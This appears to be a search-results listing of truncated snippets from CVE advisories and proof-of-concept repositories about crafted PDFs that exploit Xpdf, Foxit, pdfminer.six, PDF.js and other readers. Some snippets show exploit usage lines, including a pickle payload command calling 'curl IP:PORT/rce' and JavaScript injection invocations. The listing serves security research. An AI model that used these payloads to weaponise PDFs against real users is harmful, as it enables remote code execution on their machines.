CVE-2019-13288

CVE-2019-13288 – Infinite Recursion in Xpdf's Parser::getObj Overview CVE-2019-13288 is a vulnerability identified in Xpdf version 4.01.01 , specifically within the Parser::getObj function in Parser.cc. This flaw can lead to infinite recursion when processing a specially crafted PDF file, resulti...

CVE-2017-10952

CVE-2017-10952 So this is a high level example of a local code execution attack on Foxit PDF reader. Details of this attack can be found here 1. I've copy pasted the text description of this vulnerability linked in 1 here to preserve the description over time - the description was written by the...

CVE-2025-64512

CVE-2025-64512 – PoC de désérialisation pdfminer.six Vue d'ensemble Cette preuve de concept démontre une vulnérabilité dans pdfminer.six CVE-2025-64512 pouvant conduire à l'exécution arbitraire de commandes lorsqu'un PDF malveillant est traité. L'exploit utilise un PDF spécialement conçu qui...

CVE-2025-64512

CVE-2025-64512 — Désérialisation non sécurisée Pickle dans pdfminer.six via un PDF contrefait ⚠️ Avertissement : Cet outil est destiné uniquement à des fins éducatives et à des tests d'intrusion autorisés. Utilisez-le uniquement contre des systèmes qui vous appartiennent ou pour lesquels vous...

CVE-2024-4367-hands-on

!IMPORTANT Данный репозиторий предназначен для изучения уязвимостей. Данное практическое занятие обязательно проводите на подходящем компьютере, находящемся под вашим контролем. Ни в коем случае не совершайте незаконных действий. Также автор не несёт ответственности за любой ущерб или убытки,...

CVE-2015-3073

CVE-2015-3073 Cette vulnérabilité permet à des attaquants distants de contourner les restrictions API sur les installations vulnérables d'Adobe Reader. Une interaction utilisateur est nécessaire pour exploiter cette vulnérabilité, car la cible doit visiter une page malveillante ou ouvrir un fichi...

Linux Distros Unpatched Vulnerability : CVE-2026-103000

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - pypdf is a free and open-source pure-python PDF library. Prior to 6.19.0, a crafted PDF can provide unusually large alphabetical page-label values that cause...

CVE-2026-46529

RCE через внедрение argv в PDF CVE-2026-46529 atril/xreader/evince Рабочее доказательство концепции для внедрения argv в evspawn shell/ev-application.c. Один клик в любом месте отображаемой страницы созданного PDF запускает произвольное выполнение кода от имени пользователя, запустившего...

pdfjs-vuln-demo

Projet de démonstration de vulnérabilité PDF.js Ce projet est destiné à servir de preuve de concept pour démontrer l'exploitation de la vulnérabilité dans la bibliothèque PDF.js pdfjs-dist signalée dans CVE-2024-4367 Mise en route Forkez et clonez ce dépôt npm install npm run dev Tests Allez...

CVE-2025-64512

CVE-2025-64512 Exécution de code arbitraire dans pdfminer.six via une entrée PDF contrefaite PoC basé sur https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp % python3 mkpickle.py Usage: mkpickle.py output Ex: mkpickle.py 'curl IP:PORT/rce' evil.pickle.gz % python3...

CVE-2025-20260-POC

CVE-2025-20260 EXPLOIT This is a proof of concept for CVE-2025-20260. This is a vulnerability in the ClamAV software's PDF scanning processes. By sending a specially crafted, malicious PDF file it is possible to cause a buffer overflow, resulting in a denial of service or arbitrary code execution...

cve-2024-4367-poc

CVE-2024-4367 POC for PDF.js POC для уязвимости CVE-2024-4367 в PDF.js — скрипт pdf-modify.py можно использовать для изменения ваших PDF-файлов и внедрения полезных нагрузок. Использование 1. Убедитесь, что CVE-2024-4367-POC-base-placeholder.pdf находится в рабочем каталоге. 2...

CVE-2024-4367

CVE-2024-4367 POC Usage python poc.py mal.pdf "alert'0xr2r'" References CVE-2024-4367: Arbitrary JS Execution in PDF.js PDF.js POC scaner templates...

CVE-2024-4367-POC

CVE-2024-4367 Preuve de concept Utilisation python poc.py malicious.pdf "alert'S4vvy'" Références CVE-2024-4367 : Exécution arbitraire de JS dans PDF.js PDF.js...

CVE-2026-91793

Foxit PDF Editor/Reader is susceptible to a use-after-free condition when opening a specially crafted PDF . The vulnerability is triggered when the software executes scripts that modify annotation rich-text attributes containing malformed font data . During the subsequent reconstruction of annota...

EUVD-2026-85127

Foxit PDF Editor/Reader's FileOpen plugin did not adequately validate certain encryption metadata in specially crafted PDF files. This could leave an internal pointer in an invalid state, resulting in chained read and write access violations and potentially enabling arbitrary code execution...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: python-reportlab (UTSA-2023-002178)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2023-002178 advisory. Reportlab up to v3.6.12 allows attackers to execute arbitrary code via supplying a crafted PDF file. Tenable has extracted the preceding description block directly...

CVE-2026-39919

A flaw was found in Ghostscript. This heap-based buffer overflow vulnerability in the JPEG 2000 output adapter allows an attacker to cause memory corruption by supplying a specially crafted PDF file. The crafted PDF contains a JPEG 2000 image with mismatched component subsampling factors...

UBUNTU-CVE-2026-93653

A denial of service flaw was found in Poppler's Splash backend. A crafted PDF with tiling-pattern geometry approaching the int32 boundary can cause SplashOutputDev::tilingPatternFill to compute an attacker-controlled repeat count that drives an excessively long loop in the pattern-fill scanline...

CVE-2026-93653

A denial of service flaw was found in Poppler's Splash backend. A crafted PDF with tiling-pattern geometry approaching the int32 boundary can cause SplashOutputDev::tilingPatternFill to compute an attacker-controlled repeat count that drives an excessively long loop in the pattern-fill scanline...